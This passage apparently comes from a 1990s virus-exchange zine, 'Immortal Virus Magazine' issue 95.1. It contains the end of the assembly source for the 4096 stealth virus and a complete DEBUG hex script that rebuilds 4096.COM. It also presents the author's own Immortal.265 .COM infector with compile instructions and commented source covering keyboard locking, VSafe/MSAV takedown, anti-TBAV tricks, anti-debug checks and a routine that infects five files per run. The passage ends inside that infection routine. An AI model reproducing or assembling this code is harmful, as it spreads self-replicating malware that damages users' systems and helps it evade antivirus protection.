int13flags dw ? ; storage of int 13h return flags register
|
||
savess dw ? ; temporary storage of stack segment
|
||
savesp dw ? ; and stack pointer
|
||
BREAKsave db ? ; current BREAK state
|
||
checkres db ? ; already installed flag
|
||
initialax dw ? ; AX upon entry to carrier
|
||
saveIMR db ? ; storage for interrupt mask register
|
||
saveoffset dw ? ; temp storage of CS:IP of
|
||
savesegment dw ? ; caller to int 21h
|
||
pushpopalltempstore dw ? ; push/popall caller address
|
||
numfreeclusters dw ? ; total free clusters
|
||
DOSversion db ? ; current DOS version
|
||
hideclustercountchange db ? ; flag of whether to hide free cluster count
|
||
hide_size db ? ; hide filesize increase if equal to 0
|
||
copyparmblock db 0eh dup (?) ; copy of the parameter block
|
||
origsp dw ? ; temporary storage of stack pointer
|
||
origss dw ? ; and stack segment
|
||
origcsip dd ? ; temporary storage of caller CS:IP
|
||
copyfilename db 50h dup (?) ; copy of filename
|
||
storesp dw ? ; temporary storage of stack pointer
|
||
storess dw ? ; and stack segment
|
||
stackptr dw ? ; register storage stack pointer
|
||
storecall dw ? ; temporary storage of function offset
|
||
|
||
topstack = 1600h
|
||
|
||
_4096 ends
|
||
end
|
||
-------------------------------------<CUT>-------------------------------------
|
||
N 4096.COM
|
||
E 0100 00 E9 A7 00 C3 75 02 44 15 46 20 43 6F 70 79 72
|
||
E 0110 69 67 68 74 20 42 6F 75 72 62 25 7D 69 2C 20 49
|
||
E 0120 00 FE 3A 55 8B EC 50 81 7E 04 00 C0 73 0C 2E A1
|
||
E 0130 47 12 39 46 04 76 03 58 5D CF 2E 80 3E 50 12 01
|
||
E 0140 74 32 8B 46 04 2E A3 2F 12 8B 46 02 2E A3 2D 12
|
||
E 0150 72 15 58 5D 2E 8E 16 DD 12 2E 8B 26 DF 12 2E A0
|
||
E 0160 E5 12 E6 21 E9 D9 0C 81 66 06 FF FE 2E A0 E5 12
|
||
E 0170 E6 21 EB C3 2E FE 0E 51 12 75 BC 81 66 06 FF FE
|
||
E 0180 E8 6C 0D E8 34 0D 2E C5 16 31 12 B0 01 E8 0C 0F
|
||
E 0190 E8 53 0D EB D2 1E 56 33 F6 8E DE 32 E4 8B F0 D1
|
||
E 01A0 E6 D1 E6 8B 1C 8E 44 02 5E 1F C3 2E C7 06 5B 13
|
||
E 01B0 00 16 2E A3 E3 12 B4 30 CD 21 2E A2 EE 12 2E 8C
|
||
E 01C0 1E 45 12 B4 52 CD 21 26 8B 47 FE 2E A3 47 12 8E
|
||
E 01D0 C0 26 A1 01 00 2E A3 49 12 0E 1F B0 01 E8 B5 FF
|
||
E 01E0 89 1E 31 12 8C 06 33 12 B0 21 E8 A8 FF 89 1E 2D
|
||
E 01F0 12 8C 06 2F 12 C6 06 50 12 00 BA 23 00 B0 01 E8
|
||
E 0200 9A 0E 9C 58 0D 00 01 50 E4 21 A2 E5 12 B0 FF E6
|
||
E 0210 21 9D B4 52 9C FF 1E 2D 12 9C 58 25 FF FE 50 9D
|
||
E 0220 A0 E5 12 E6 21 1E C5 16 31 12 B0 01 E8 6D 0E 1F
|
||
E 0230 C4 3E 2D 12 89 3E 35 12 8C 06 37 12 C6 06 4B 12
|
||
E 0240 EA C7 06 4C 12 CC 02 8C 0E 4E 12 E8 6C 0C B8 00
|
||
E 0250 4B 88 26 E2 12 BA 21 00 FF 36 20 00 CD 21 8F 06
|
||
E 0260 20 00 26 83 45 FC 09 90 8E 06 45 12 8E 1E 45 12
|
||
E 0270 81 2E 02 00 61 01 8B 2E 02 00 8C DA 2B EA B4 4A
|
||
E 0280 BB FF FF CD 21 B4 4A CD 21 4A 8E DA 80 3E 00 00
|
||
E 0290 5A 74 05 2E FE 0E E2 12 2E 80 3E E2 12 00 74 05
|
||
E 02A0 C6 06 00 00 4D A1 03 00 8B D8 2D 61 01 03 D0 A3
|
||
E 02B0 03 00 42 8E C2 26 C6 06 00 00 5A 2E FF 36 49 12
|
||
E 02C0 26 8F 06 01 00 26 C7 06 03 00 60 01 42 8E C2 0E
|
||
E 02D0 1F B9 00 0B BE FE 15 8B FE FD F3 A5 FC 06 B8 EE
|
||
E 02E0 01 50 2E 8E 06 45 12 B4 4A 8B DD CD 21 CB E8 C9
|
||
E 02F0 0B 2E 8C 0E 4E 12 E8 C1 0B 0E 1F C6 06 A2 12 14
|
||
E 0300 0E 07 BF 52 12 B9 14 00 33 C0 F3 AB A2 EF 12 A1
|
||
E 0310 45 12 8E C0 26 C5 16 0A 00 8E D8 05 10 00 2E 01
|
||
E 0320 06 1A 00 2E 80 3E 20 00 00 75 24 FB 2E A1 04 00
|
||
E 0330 A3 00 01 2E A1 06 00 A3 02 01 2E A1 08 00 A3 04
|
||
E 0340 01 2E FF 36 45 12 B8 00 01 50 2E A1 E3 12 CB 2E
|
||
E 0350 01 06 12 00 2E A1 E3 12 2E 8E 16 12 00 2E 8B 26
|
||
E 0360 14 00 FB 2E FF 2E 18 00 81 FC 00 01 77 02 33 E4
|
||
E 0370 8B E8 E8 00 00 59 81 E9 75 02 8C C8 BB 10 00 F7
|
||
E 0380 E3 03 C1 83 D2 00 F7 F3 50 B8 AB 00 50 8B C5 CB
|
||
E 0390 30 7C 07 23 4E 04 37 8B 0E 4B 8B 05 3C D5 04 3D
|
||
E 03A0 11 05 3E 55 05 0F 9B 03 14 CD 03 21 C1 03 27 BF
|
||
E 03B0 03 11 59 03 12 59 03 4E 9F 04 4F 9F 04 3F A5 0A
|
||
E 03C0 40 8A 0B 42 90 0A 57 41 0A 48 34 0E 3D 00 4B 75
|
||
E 03D0 04 2E A2 E2 12 55 8B EC FF 76 06 2E 8F 06 B3 12
|
||
E 03E0 5D 55 8B EC E8 08 0B E8 D0 0A E8 9A 0A E8 F6 0A
|
||
E 03F0 E8 B4 0A 53 BB 90 02 2E 3A 27 75 09 2E 8B 5F 01
|
||
E 0400 87 5E EC FC C3 83 C3 03 81 FB CC 02 72 E9 5B E8
|
||
E 0410 89 0A E4 21 2E A2 E5 12 B0 FF E6 21 2E C6 06 51
|
||
E 0420 12 04 2E C6 06 50 12 01 E8 F1 0A E8 A5 0A 50 2E
|
||
E 0430 A1 B3 12 0D 00 01 50 9D 58 5D 2E FF 2E 35 12 E8
|
||
E 0440 AD 0A E8 56 0A E8 72 0A E8 9B 0A 5D 55 8B EC 2E
|
||
E 0450 FF 36 B3 12 8F 46 06 5D CF E8 77 0A E8 35 0B 0A
|
||
E 0460 C0 75 DC E8 41 0A E8 18 02 B0 00 80 3F FF 75 06
|
||
E 0470 8A 47 06 83 C3 07 2E 20 06 F0 12 F6 47 1A 80 74
|
||
E 0480 15 80 6F 1A C8 2E 80 3E F0 12 00 75 09 81 6F 1D
|
||
E 0490 00 10 83 5F 1F 00 E8 3A 0A EB A4 E8 35 0A E8 F3
|
||
E 04A0 0A E8 03 0A 0A C0 75 EE 8B DA F6 47 15 80 74 E6
|
||
E 04B0 80 6F 15 C8 81 6F 10 00 10 80 5F 12 00 EB D7 E3
|
||
E 04C0 1B 8B DA 8B 77 21 0B 77 23 75 11 EB 0A 8B DA 8B
|
||
E 04D0 47 0C 0A 47 20 75 05 E8 3F 05 73 03 E9 30 FF E8
|
||
E 04E0 F1 09 E8 C2 09 E8 AC 0A 89 46 FC 89 4E F8 1E 52
|
||
E 04F0 E8 8E 01 83 7F 14 01 74 0F 8B 07 03 47 02 03 47
|
||
E 0500 04 74 05 83 C4 04 EB 8E 5A 1F 8B F2 0E 07 BF B5
|
||
E 0510 12 B9 25 00 F3 A4 BF B5 12 0E 1F 8B 45 10 8B 55
|
||
E 0520 12 05 0F 10 83 D2 00 25 F0 FF 89 45 10 89 55 12
|
||
E 0530 2D FC 0F 83 DA 00 89 45 21 89 55 23 C7 45 0E 01
|
||
E 0540 00 B9 1C 00 8B D7 B4 27 E8 49 0A E9 48 FF 0E 07
|
||
E 0550 8B F2 BF B5 12 B9 25 00 F3 A4 1E 52 0E 1F BA B5
|
||
E 0560 12 B4 0F E8 2E 0A B4 10 E8 29 0A F6 06 CA 12 80
|
||
E 0570 5E 1F 74 7E 2E C4 1E C5 12 8C C0 81 EB 00 10 1D
|
||
E 0580 00 00 33 D2 2E 8B 0E C3 12 49 03 D9 15 00 00 41
|
||
E 0590 F7 F1 89 44 23 92 93 F7 F1 89 44 21 E9 F7 FE 2E
|
||
E 05A0 83 26 B3 12 FE E8 2B 09 E8 E9 09 E8 F9 08 73 09
|
||
E 05B0 2E 83 0E B3 12 01 E9 DD FE E8 C5 00 F6 47 19 80
|
||
E 05C0 75 03 E9 D1 FE 81 6F 1A 00 10 83 5F 1C 00 80 6F
|
||
E 05D0 19 C8 E9 C1 FE 51 83 E1 07 83 F9 07 74 2F 59 E8
|
||
E 05E0 E4 07 E8 AF 09 E8 84 08 9C 2E 80 3E DA 12 00 74
|
||
E 05F0 04 9D E9 1A FE 9D 72 09 8B D8 B4 3E E8 95 09 EB
|
||
E 0600 10 2E 80 0E B3 12 01 89 46 FC E9 89 FE 59 E9 FE
|
||
E 0610 FD E8 5D 04 E8 0E 04 72 39 2E 80 3E A2 12 00 74
|
||
E 0620 31 E8 5A 04 83 FB FF 74 29 2E FE 0E A2 12 0E 07
|
||
E 0630 BF 52 12 B9 14 00 33 C0 F2 AF 2E A1 A3 12 26 89
|
||
E 0640 45 FE 26 89 5D 26 89 5E FC 2E 80 26 B3 12 FE E9
|
||
E 0650 44 FE E9 BA FD 0E 07 E8 17 04 BF 52 12 B9 14 00
|
||
E 0660 2E A1 A3 12 F2 AF 75 16 26 3B 5D 26 75 F6 26 C7
|
||
E 0670 45 FE 00 00 E8 1C 02 2E FE 06 A2 12 EB CB E9 8E
|
||
E 0680 FD 06 B4 2F E8 0D 09 06 1F 07 C3 0A C0 74 03 E9
|
||
E 0690 4E 01 1E 52 2E 89 1E 24 12 2E 8C 06 26 12 2E C5
|
||
E 06A0 36 24 12 BF F1 12 B9 0E 00 0E 07 F3 A4 5E 1F BF
|
||
E 06B0 07 13 B9 50 00 F3 A4 BB FF FF E8 7D 08 E8 13 08
|
||
E 06C0 5D 2E 8F 06 E6 12 2E 8F 06 E8 12 2E 8F 06 B3 12
|
||
E 06D0 B8 01 4B 0E 07 BB F1 12 9C 2E FF 1E 35 12 73 20
|
||
E 06E0 2E 83 0E B3 12 01 2E FF 36 B3 12 2E FF 36 E8 12
|
||
E 06F0 2E FF 36 E6 12 55 8B EC 2E C4 1E 24 12 E9 3F FD
|
||
E 0700 E8 6E 03 0E 07 BF 52 12 B9 14 00 2E A1 A3 12 F2
|
||
E 0710 AF 75 0D 26 C7 45 FE 00 00 2E FE 06 A2 12 EB EB
|
||
E 0720 2E C5 36 03 13 83 FE 01 75 33 8B 16 1A 00 83 C2
|
||
E 0730 10 B4 51 E8 5E 08 03 D3 2E 89 16 05 13 FF 36 18
|
||
E 0740 00 2E 8F 06 03 13 83 C3 10 03 1E 12 00 2E 89 1E
|
||
E 0750 01 13 FF 36 14 00 2E 8F 06 FF 12 EB 22 8B 04 03
|
||
E 0760 44 02 03 44 04 74 60 0E 1F BA 07 13 E8 B6 02 E8
|
||
E 0770 0C 03 2E FE 06 EF 12 E8 19 01 2E FE 0E EF 12 B4
|
||
E 0780 51 E8 10 08 E8 68 07 E8 11 07 E8 2D 07 E8 56 07
|
||
E 0790 8E DB 8E C3 2E FF 36 B3 12 2E FF 36 E8 12 2E FF
|
||
E 07A0 36 E6 12 8F 06 0A 00 8F 06 0C 00 1E C5 16 0A 00
|
||
E 07B0 B0 22 E8 E7 08 1F 9D 58 2E 8E 16 01 13 2E 8B 26
|
||
E 07C0 FF 12 2E FF 2E 03 13 8B 5C 01 8B 80 9F FD 89 04
|
||
E 07D0 8B 80 A1 FD 89 44 02 8B 80 A3 FD 89 44 04 EB 9F
|
||
E 07E0 3C 01 74 03 E9 28 FC 2E 83 0E B3 12 01 2E 89 1E
|
||
E 07F0 24 12 2E 8C 06 26 12 E8 D9 06 E8 97 07 E8 A7 06
|
||
E 0800 2E C4 1E 24 12 26 C5 77 12 72 6E 2E 80 26 B3 12
|
||
E 0810 FE 83 FE 01 74 23 8B 04 03 44 02 03 44 04 75 45
|
||
E 0820 8B 5C 01 8B 80 9F FD 89 04 8B 80 A1 FD 89 44 02
|
||
E 0830 8B 80 A3 FD 89 44 04 EB 2C 8B 16 1A 00 E8 31 02
|
||
E 0840 2E 8B 0E A3 12 83 C1 10 03 D1 26 89 57 14 A1 18
|
||
E 0850 00 26 89 47 12 A1 12 00 03 C1 26 89 47 10 A1 14
|
||
E 0860 00 26 89 47 0E E8 09 02 2E 8E 1E A3 12 8B 46 02
|
||
E 0870 A3 0A 00 8B 46 04 A3 0C 00 E9 1A FC 2E C6 06 F0
|
||
E 0880 12 00 B4 2A E8 0D 07 81 FA 16 09 72 03 E8 22 08
|
||
E 0890 E9 7C FB E8 30 05 E8 BC 00 C6 06 20 00 01 81 3E
|
||
E 08A0 00 12 4D 5A 74 0E 81 3E 00 12 5A 4D 74 06 FE 0E
|
||
E 08B0 20 00 74 58 A1 04 12 D1 E1 F7 E1 05 00 02 3B C6
|
||
E 08C0 72 48 A1 0A 12 0B 06 0C 12 74 3F A1 A9 12 8B 16
|
||
E 08D0 AB 12 B9 00 02 F7 F1 0B D2 74 01 40 A3 04 12 89
|
||
E 08E0 16 02 12 83 3E 14 12 01 74 62 C7 06 14 12 01 00
|
||
E 08F0 8B C6 2B 06 08 12 A3 16 12 83 06 04 12 08 A3 0E
|
||
E 0900 12 C7 06 10 12 00 10 E8 A9 00 EB 40 81 FE 00 0F
|
||
E 0910 73 3A A1 00 12 A3 04 00 03 D0 A1 02 12 A3 06 00
|
||
E 0920 03 D0 A1 04 12 A3 08 00 03 D0 74 20 B1 E9 88 0E
|
||
E 0930 00 12 B8 10 00 F7 E6 05 65 02 A3 01 12 A1 00 12
|
||
E 0940 03 06 02 12 F7 D8 A3 04 12 E8 67 00 B4 3E E8 43
|
||
E 0950 06 E8 18 05 C3 0E 1F B8 00 57 E8 37 06 89 0E 29
|
||
E 0960 12 89 16 2B 12 B8 00 42 33 C9 8B D1 E8 25 06 B4
|
||
E 0970 3F B1 1C BA 00 12 E8 1B 06 B8 00 42 33 C9 8B D1
|
||
E 0980 E8 11 06 B4 3F B1 1C BA 04 00 E8 07 06 B8 02 42
|
||
E 0990 33 C9 8B D1 E8 FD 05 A3 A9 12 89 16 AB 12 8B F8
|
||
E 09A0 05 0F 00 83 D2 00 25 F0 FF 2B F8 B9 10 00 F7 F1
|
||
E 09B0 8B F0 C3 B8 00 42 33 C9 8B D1 E8 D7 05 B4 40 B1
|
||
E 09C0 1C BA 00 12 E8 CD 05 B8 10 00 F7 E6 8B CA 8B D0
|
||
E 09D0 B8 00 42 E8 BE 05 33 D2 B9 00 10 03 CF B4 40 E8
|
||
E 09E0 B2 05 B8 01 57 8B 0E 29 12 8B 16 2B 12 F6 C6 80
|
||
E 09F0 75 03 80 C6 C8 E8 9C 05 80 3E EE 12 03 72 19 80
|
||
E 0A00 3E EF 12 00 74 12 53 8A 16 28 12 B4 32 E8 84 05
|
||
E 0A10 2E A1 EC 12 89 47 1E 5B C3 E8 D3 04 8B FA 83 C7
|
||
E 0A20 0D 1E 07 EB 20 E8 C7 04 1E 07 8B FA B9 50 00 33
|
||
E 0A30 C0 B3 00 80 7D 01 3A 75 05 8A 1D 80 E3 1F 2E 88
|
||
E 0A40 1E 28 12 F2 AE 8B 45 FD 25 DF DF 02 E0 8A 45 FC
|
||
E 0A50 24 DF 02 C4 2E C6 06 20 00 00 3C DF 74 09 2E FE
|
||
E 0A60 06 20 00 3C E2 75 05 E8 7C 04 F8 C3 E8 77 04 F9
|
||
E 0A70 C3 53 B4 51 E8 1D 05 2E 89 1E A3 12 5B C3 E8 45
|
||
E 0A80 03 52 2E 8A 16 28 12 B4 36 E8 08 05 F7 E1 F7 E3
|
||
E 0A90 8B DA 5A 0B DB 75 05 3D 00 40 72 43 B8 00 43 E8
|
||
E 0AA0 F2 04 72 3B 8B F9 33 C9 B8 01 43 E8 E6 04 2E 80
|
||
E 0AB0 3E DA 12 00 75 29 B8 02 3D E8 D8 04 72 21 8B D8
|
||
E 0AC0 8B CF B8 01 43 E8 CC 04 53 2E 8A 16 28 12 B4 32
|
||
E 0AD0 E8 C1 04 8B 47 1E 2E A3 EC 12 5B E8 8E 03 C3 33
|
||
E 0AE0 DB 4B E8 87 03 C3 51 52 50 B8 00 44 E8 A5 04 80
|
||
E 0AF0 F2 80 F6 C2 80 74 09 B8 00 57 E8 97 04 F6 C6 80
|
||
E 0B00 58 5A 59 C3 E8 E8 03 B8 01 42 33 C9 33 D2 E8 83
|
||
E 0B10 04 2E A3 A5 12 2E 89 16 A7 12 B8 02 42 33 C9 33
|
||
E 0B20 D2 E8 70 04 2E A3 A9 12 2E 89 16 AB 12 B8 00 42
|
||
E 0B30 2E 8B 16 A5 12 2E 8B 0E A7 12 E8 57 04 E8 A6 03
|
||
E 0B40 C3 0A C0 75 22 2E 83 26 B3 12 FE E8 85 03 E8 43
|
||
E 0B50 04 72 0B F6 C6 80 74 03 80 EE C8 E9 E1 F8 2E 83
|
||
E 0B60 0E B3 12 01 E9 D8 F8 3C 01 75 37 2E 83 26 B3 12
|
||
E 0B70 FE F6 C6 80 74 03 80 EE C8 E8 6A FF 74 03 80 C6
|
||
E 0B80 C8 E8 10 04 89 46 FC 2E 83 16 B3 12 00 E9 06 F9
|
||
E 0B90 3C 02 75 0E E8 4F FF 74 09 81 6E F6 00 10 83 5E
|
||
E 0BA0 F8 00 E9 6A F8 2E 80 26 B3 12 FE E8 38 FF 74 F2
|
||
E 0BB0 2E 89 0E AF 12 2E 89 16 AD 12 2E C7 06 B1 12 00
|
||
E 0BC0 00 E8 40 FF 2E A1 A9 12 2E 8B 16 AB 12 2D 00 10
|
||
E 0BD0 83 DA 00 2E 2B 06 A5 12 2E 1B 16 A7 12 79 08 C7
|
||
E 0BE0 46 FC 00 00 E9 62 FA 75 08 3B C1 77 04 2E A3 AF
|
||
E 0BF0 12 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 05 83
|
||
E 0C00 FA 1C 76 1A 2E 8B 16 AD 12 2E 8B 0E AF 12 B4 3F
|
||
E 0C10 E8 81 03 2E 03 06 B1 12 89 46 FC E9 78 F8 8B F2
|
||
E 0C20 8B FA 2E 03 3E AF 12 83 FF 1C 72 04 33 FF EB 05
|
||
E 0C30 83 EF 1C F7 DF 8B C2 2E 8B 0E AB 12 2E 8B 16 A9
|
||
E 0C40 12 83 C2 0F 83 D1 00 83 E2 F0 81 EA FC 0F 83 D9
|
||
E 0C50 00 03 D0 83 D1 00 B8 00 42 E8 38 03 B9 1C 00 2B
|
||
E 0C60 CF 2B CE B4 3F 2E 8B 16 AD 12 E8 27 03 2E 01 06
|
||
E 0C70 AD 12 2E 29 06 AF 12 2E 01 06 B1 12 33 C9 BA 1C
|
||
E 0C80 00 B8 00 42 E8 0D 03 E9 7A FF 2E 80 26 B3 12 FE
|
||
E 0C90 E8 53 FE 75 03 E9 0A FF 2E 89 0E AF 12 2E 89 16
|
||
E 0CA0 AD 12 2E C7 06 B1 12 00 00 E8 58 FE 2E A1 A9 12
|
||
E 0CB0 2E 8B 16 AB 12 2D 00 10 83 DA 00 2E 2B 06 A5 12
|
||
E 0CC0 2E 1B 16 A7 12 78 02 EB 7E E8 FA 00 0E 1F 8B 16
|
||
E 0CD0 A9 12 8B 0E AB 12 83 C2 0F 83 D1 00 83 E2 F0 81
|
||
E 0CE0 EA FC 0F 83 D9 00 B8 00 42 E8 A8 02 BA 04 00 B9
|
||
E 0CF0 1C 00 B4 3F E8 9D 02 B8 00 42 33 C9 8B D1 E8 93
|
||
E 0D00 02 BA 04 00 B9 1C 00 B4 40 E8 88 02 BA 00 F0 B9
|
||
E 0D10 FF FF B8 02 42 E8 7C 02 B4 40 33 C9 E8 75 02 8B
|
||
E 0D20 16 A5 12 8B 0E A7 12 B8 00 42 E8 67 02 B8 00 57
|
||
E 0D30 E8 61 02 F6 C6 80 74 09 80 EE C8 B8 01 57 E8 53
|
||
E 0D40 02 E8 28 01 E9 C8 F6 75 07 3B C1 77 03 E9 79 FF
|
||
E 0D50 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 08 83 FA
|
||
E 0D60 1C 77 03 E9 63 FF E8 6A 01 E8 28 02 E8 38 01 B8
|
||
E 0D70 00 57 E8 1F 02 F6 C6 80 75 09 80 C6 C8 B8 01 57
|
||
E 0D80 E8 11 02 E9 10 F7 E9 86 F6 2E 8F 06 41 12 2E 8F
|
||
E 0D90 06 43 12 2E 8F 06 DB 12 2E 83 26 DB 12 FE 2E 80
|
||
E 0DA0 3E DA 12 00 75 11 2E FF 36 DB 12 2E FF 1E 2D 12
|
||
E 0DB0 73 06 2E FE 06 DA 12 F9 2E FF 2E 41 12 32 C0 2E
|
||
E 0DC0 C6 06 DA 12 01 CF 2E C6 06 DA 12 00 E8 20 01 0E
|
||
E 0DD0 1F B0 13 E8 BF F3 89 1E 2D 12 8C 06 2F 12 89 1E
|
||
E 0DE0 39 12 8C 06 3B 12 B2 00 B0 0D E8 A8 F3 8C C0 3D
|
||
E 0DF0 00 C0 73 02 B2 02 B0 0E E8 9A F3 8C C0 3D 00 C0
|
||
E 0E00 73 02 B2 02 88 16 50 12 E8 11 01 8C 16 DD 12 89
|
||
E 0E10 26 DF 12 0E B8 40 0D 50 B8 70 00 8E C0 B9 FF FF
|
||
E 0E20 B0 CB 33 FF F2 AE 4F 9C 06 57 9C 58 80 CC 01 50
|
||
E 0E30 E4 21 A2 E5 12 B0 FF E6 21 9D 33 C0 FF 2E 2D 12
|
||
E 0E40 C5 16 31 12 B0 01 E8 53 02 0E 1F BA 89 0C B0 13
|
||
E 0E50 E8 49 02 B0 24 E8 3D F3 89 1E 3D 12 8C 06 3F 12
|
||
E 0E60 BA BD 0C B0 24 E8 34 02 E8 7B 00 C3 E8 80 00 2E
|
||
E 0E70 C5 16 39 12 B0 13 E8 23 02 2E C5 16 3D 12 B0 24
|
||
E 0E80 E8 19 02 E8 60 00 C3 B8 00 33 E8 07 01 2E 88 16
|
||
E 0E90 E1 12 B8 01 33 32 D2 E8 FA 00 C3 2E 8A 16 E1 12
|
||
E 0EA0 B8 01 33 E8 EE 00 C3 2E 8F 06 EA 12 9C 50 53 51
|
||
E 0EB0 52 56 57 1E 06 2E FF 26 EA 12 2E C4 3E 35 12 BE
|
||
E 0EC0 4B 12 0E 1F FC B9 05 00 AC 26 86 05 88 44 FF 47
|
||
E 0ED0 E2 F6 C3 2E 8F 06 EA 12 07 1F 5F 5E 5A 59 5B 58
|
||
E 0EE0 9D 2E FF 26 EA 12 2E C7 06 5D 13 D3 0D EB 07 2E
|
||
E 0EF0 C7 06 5D 13 A7 0D 2E 8C 16 59 13 2E 89 26 57 13
|
||
E 0F00 0E 17 2E 8B 26 5B 13 2E FF 16 5D 13 2E 89 26 5B
|
||
E 0F10 13 2E 8E 16 59 13 2E 8B 26 57 13 C3 B0 01 E8 74
|
||
E 0F20 F2 2E 89 1E 31 12 2E 8C 06 33 12 0E 1F BA 23 00
|
||
E 0F30 E8 69 01 C3 E8 03 00 E9 D5 F4 2E 80 3E E2 12 00
|
||
E 0F40 74 48 83 FB FF 75 43 BB 60 01 E8 47 00 72 3B 8C
|
||
E 0F50 CA 3B C2 72 09 8E C0 B4 49 E8 38 00 EB 2C 4A 8E
|
||
E 0F60 DA C7 06 01 00 00 00 42 8E DA 8E C0 50 2E A3 4E
|
||
E 0F70 12 33 F6 8B FE B9 00 0B F3 A5 48 8E C0 2E A1 49
|
||
E 0F80 12 26 A3 01 00 B8 8A 0E 50 CB C3 2E C6 06 F0 12
|
||
E 0F90 02 E9 7B F4 9C 2E FF 1E 35 12 C3 FA 33 C0 8E D0
|
||
E 0FA0 BC 00 7C EB 4F DB DB DB 20 F9 E0 E3 C3 80 81 11
|
||
E 0FB0 12 24 40 81 11 12 24 40 F1 F1 12 24 40 81 21 12
|
||
E 0FC0 24 40 81 10 E3 C3 80 00 00 00 00 00 00 00 00 00
|
||
E 0FD0 00 82 44 F8 70 C0 82 44 80 88 C0 82 44 80 80 C0
|
||
E 0FE0 82 44 F0 70 C0 82 28 80 08 C0 82 28 80 88 00 F2
|
||
E 0FF0 10 F8 70 C0 0E 1F BA 00 B0 B4 0F CD 10 3C 07 74
|
||
E 1000 03 BA 00 B8 8E C2 FC 33 FF B9 D0 07 B8 20 07 F3
|
||
E 1010 AB BE 0E 7C BB AE 02 BD 05 00 8B FB AC 8A F0 B9
|
||
E 1020 08 00 B8 20 07 D1 E2 73 02 B0 DB AB E2 F4 4D 75
|
||
E 1030 EB 81 C3 A0 00 81 FE 59 7C 72 DC B4 01 CD 10 B0
|
||
E 1040 08 BA B9 7C E8 55 00 B8 FE 07 E6 21 FB 33 DB B9
|
||
E 1050 01 00 EB FE 49 75 0B 33 FF 43 E8 0A 00 E8 07 00
|
||
E 1060 B1 04 B0 20 E6 20 CF B9 28 00 E8 26 00 AB AB E2
|
||
E 1070 F9 81 C7 9E 00 B9 17 00 E8 18 00 AB 81 C7 9E 00
|
||
E 1080 E2 F6 FD 80 36 E7 7C 01 80 36 D7 7C 28 80 36 E2
|
||
E 1090 7C 28 C3 83 E3 03 8A 87 0A 7C 43 C3 06 53 33 DB
|
||
E 10A0 8E C3 8A D8 D1 E3 D1 E3 26 89 17 26 8C 5F 02 5B
|
||
E 10B0 07 C3 E8 11 FD B2 80 E8 08 00 32 D2 E8 03 01 00
|
||
E 10C0 9A 0E 32 08 70 00 33 0E 2E 03 6C 15 03 00 26 00
|
||
E 10D0 00 00 21 00 50 12 65 14 82 08 00 0C 9A 0E 56 07
|
||
E 10E0 70 00 33 0E 2E 03 6C 15 E2 0C 1E 93 00 00 E2 0C
|
||
E 10F0 50 E9 68 02
|
||
RCX
|
||
0FF4
|
||
W
|
||
Q
|
||
-------------------------------------<CUT>-------------------------------------
|
||
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
----------------------------------Immortal.265---------------------------------
|
||
|
||
This is our real self made virus, we created another before, but that was
|
||
a modified version of RIOT.144 (Tnx Immortal RIOT!).
|
||
|
||
Immortal.265 is a 265 byte virus, non-tsr, appending, .COM infector,
|
||
with anti-trace, 13% chance on a keyboard lock, Anti-TBAV, VSafe takedown,
|
||
50% chance on a mezzie, 5 infections per run, non-encrypting, not traversal.
|
||
|
||
Compile with A86 or TASM/TLINK!
|
||
|
||
-------------------------------------<CUT>-------------------------------------
|
||
%OUT iMMoRTaL.265 virus by Immortal EAS.
|
||
%OUT Little parasatic non-tsr appending virus. Features:
|
||
%OUT + Anti-tracing meganism
|
||
%OUT + 13% chance on a keyboard lock
|
||
%OUT + 50% chance on a little message
|
||
%OUT + Quick spreading routine, 5 infects per run
|
||
%OUT AV Fool techniques:
|
||
%OUT + VSafe takedown (!!)
|
||
%OUT + Simple but working version to get Delta Offset ("E?!?")
|
||
%OUT + Z.COM filespec will be changed to *.COM ("S")
|
||
%OUT + "F" simply does not appear (!?!)
|
||
%OUT btw. TBAV heuristic scan "G" disappears after infection!?!
|
||
|
||
.model tiny
|
||
.code
|
||
|
||
ORG 100h ;COM file remember?!?
|
||
|
||
start: push bx ;Some junk to fool TBAV
|
||
pop ax
|
||
|
||
mov ax,0fa01h ;Let's take down MSAV!!!
|
||
mov dx,05945h
|
||
int 16h
|
||
|
||
call getdlt ;Nice way to get delta offset!
|
||
realst:
|
||
getdlt: pop bp
|
||
sub bp, offset getdlt
|
||
|
||
codest: lea si,[orgbts+bp] ;Restore first 4 bytes
|
||
mov di,0100h
|
||
movsw
|
||
movsw
|
||
|
||
push cs ;DS <==> CS
|
||
pop ds
|
||
|
||
lea dx,[eov+bp] ;Set DTA address
|
||
mov ah,1ah
|
||
int 21h
|
||
|
||
mov al,01h ;Detect INT 1 trace...
|
||
mov ah,35h
|
||
int 21h
|
||
push es
|
||
pop ax
|
||
cmp ax,70h ;Default segment INT 1 & 3
|
||
jne lockkb
|
||
|
||
mov al,03h ;Detect INT 3 trace...
|
||
mov ah,35h
|
||
int 21h
|
||
push es
|
||
pop ax
|
||
cmp ax,70h ;Default segment INT 1 & 3
|
||
jne lockkb
|
||
|
||
mov ah,2ch ;13% chance to lock keyboard!
|
||
int 21h
|
||
cmp dl, 0dh
|
||
jg nolock
|
||
|
||
lockkb: mov al,82h ;Actual keyboard lock!
|
||
out 21h,al
|
||
|
||
nolock: mov ah,2ch ;50% chance to print message!
|
||
int 21h
|
||
cmp dl,32h
|
||
jl spread
|
||
|
||
mov ah,09h ;Bingo! print message!
|
||
lea dx, [bp+offset welcome]
|
||
int 21h
|
||
mov ah,00h ;Wait for a key!
|
||
int 16h
|
||
jmp spread
|
||
|
||
welcome db 'iMMoRTaL.263!!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file?
|
||
|
||
spread: mov ah,4eh ;Findfirst
|
||
lea dx,[fspec+bp] ;Filespec=*.COM
|
||
|
||
mov byte ptr [infcnt+bp],0
|
||
fnext: add byte ptr [infcnt+bp],1
|
||
cmp byte ptr [infcnt+bp],6
|
||
je re_dta
|
||
|
||
mov byte ptr [fspec+bp],'*'
|
||
int 21h
|
||
jc re_dta ;No files found
|
||
mov byte ptr [fspec+bp],'z'
|
||
lea dx,[eov+1eh+bp] ;Open file
|
||
mov ax,3d02h
|
||
int 21h
|
||
|
||
jc nextf ;Error opening file, next!
|
||
|
||
xchg bx,ax
|
||
|
||
mov cx,0004h ;Read first 4 bytes for check
|
||
mov ah,3fh ; if already infected!
|
||
lea dx,[orgbts+bp]
|
||
int 21h
|
||
|
||
